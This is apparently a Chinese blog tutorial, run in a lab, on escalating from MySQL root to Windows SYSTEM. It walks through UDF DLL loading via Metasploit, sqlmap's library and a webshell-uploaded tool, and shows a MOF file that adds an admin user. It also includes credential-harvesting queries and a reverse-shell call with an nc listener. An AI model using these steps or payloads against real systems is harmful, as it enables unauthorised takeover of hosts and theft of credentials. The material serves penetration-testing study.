Windows提权-数据库提权

一、Mysql提权

UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。

利用条件

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  4. 可以将udf.dll写入到相应目录的权限。
  5. 知道root账号密码

获取数据库账户密码方式

1.对于CMS,查找配置文件(inc.php/config.php/connect.php)
2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。
3.使用查询语句进行查询

select user,password from mysql.user; 
select user,password from mysql.user where user ='root'; 

可能会用到的mysql语句

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

利用msf导入dll提权

靶场:win7  phpstudy

首先将靶机的mysql数据库开启远程连接

#使用mysql数据库
use mysql;
#意思是将root用户在所有主机上的所有数据库的所有权限授予root用户
#并通过密码进行身份验证。
#允许外联
grant all privileges on *.* to root@'%' identified by '密码';
#刷新配置
执行flush privileges; 

进入msf模块
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权

use exploit/meterpreter/mysql/mysql_udf_payload   #进入mysql udf模块
set payload windows/meterpreter/reverse_tcp   #随便设置的 udf提权不需要监听
set rhost  靶机ip
set password 靶机数据库密码
exploit

如果出现此界面说明成功运行
image.png
等待后靶机plugin目录下(之前自己创建的)会出现一个dll文件
image.png
之后利用mysql工具(navicat)连接靶机数据库
执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec

select *from  func;

会发现出现了一个sys_exec函数
image.png
sys_exec函数无回显,使用创建的dll生成自建函数sys_eval(声明一下sys_eval 这两个函数都是msf生成的dll文件中的函数 需要声明才可以使用)

create functions sys_eval returns string soname  'dll文件名称'
#dll文件的名称在msf中可以看到

image.png
最后使用sys_eval函数调用靶机cmd执行命令

select sys_eval('whoami');  #查询靶机的用户

利用sqlmap进行提权

sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\目录下存放着lib_mysqludf_sys.dll
在此目录下有一个32位和64位目录
image.png

需要根据靶机的mysql 选取合适的dll文件
查询靶机mysql的位数

select @@version_compile_os, @@version_compile_machine;

image.png
我靶机mysql为32位 选择32位的dll文件
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

将32位的dll文件复制到/extra/cloak目录下
使用命令 进行解码

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

之后将lib_mysqludf_sys_32.dll文件进行16进制处理
注意此处 连接本机的mysql数据库

SELECT HEX(LOAD_FILE('dll文件路径')) INTO DUMPFILE 'c:/xxxx.txt'(目标文件生成路径);

注意 secure_file_priv配置为空

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

此处之后是靶机的mysql
打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容

create table udftmp (udf LONGBLOB);   #创建表存放二进制数据

在udftmp中写入udf文件的十六进制内容

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));

image.png

将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。

SELECT @@plugin_dir;     //查看plugin路径
SELECT udf from udftmp INTO DUMPFILE "plugin路径";   //这里windows下目录结构要进行转义双写

image.png
在靶机的plugin 中出现了 写入的dll文件
image.png
执行下面语句,创建函数sys_eval (将上一步的删除)

create function sys_eval returns string soname 'udf.dll';

执行命令查看当前靶机用户

select sys_eval('whoami');

image.png

利用udf提权工具提权

利用前提

  1. 利用大马查询mysql版本、数据库用户、安装目录以及plugin路径
  2. 如果不存在相关路径,可以通过大马进行创建
  3. 在my.ini中添加属性“secure_file_priv = ’ '”
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

利用大马将提权脚本上传到 可访问到的路径下(phpstudy/www)
之后访问提权脚本文件
image.png
输入靶机数据库地址 数据库用户名称 数据库用户密码 数据库名登录
第一步点击导出udf
image.png
在你的靶机plugin目录下就会出现一个dll文件
image.png
第二步点击提交自带命令(创建cmdshell函数)
image.png
第三步 使用cmdshell函数调用cmd查询靶机当前用户
image.png
成功显示

还可以利用此工具进行反弹shell
点击自带命令 选择创建反弹函数 点击提交
image.png

利用语句

select backshell('你的ip',12345)   //反弹12345端口为默认端口 
nc -l -p 12345      //攻击机监听12345端口

攻击机监听12345端口
image.png
执行命令 select backshell(‘ip地址,12345’)
image.png

反弹shell成功
image.png

mof提权

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

mof提权原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof影响版本

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

使用下列sql语句替换系统自身的mof文件

select load_file('自己mof文件的路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

在其中 下列语句为 添加管理员用户 账户为admin 密码为 admin

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\"

参考文章:

https://blog.csdn.net/qq_44159028/article/details/121193134
https://www.cnblogs.com/xishaonian/p/6384535.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值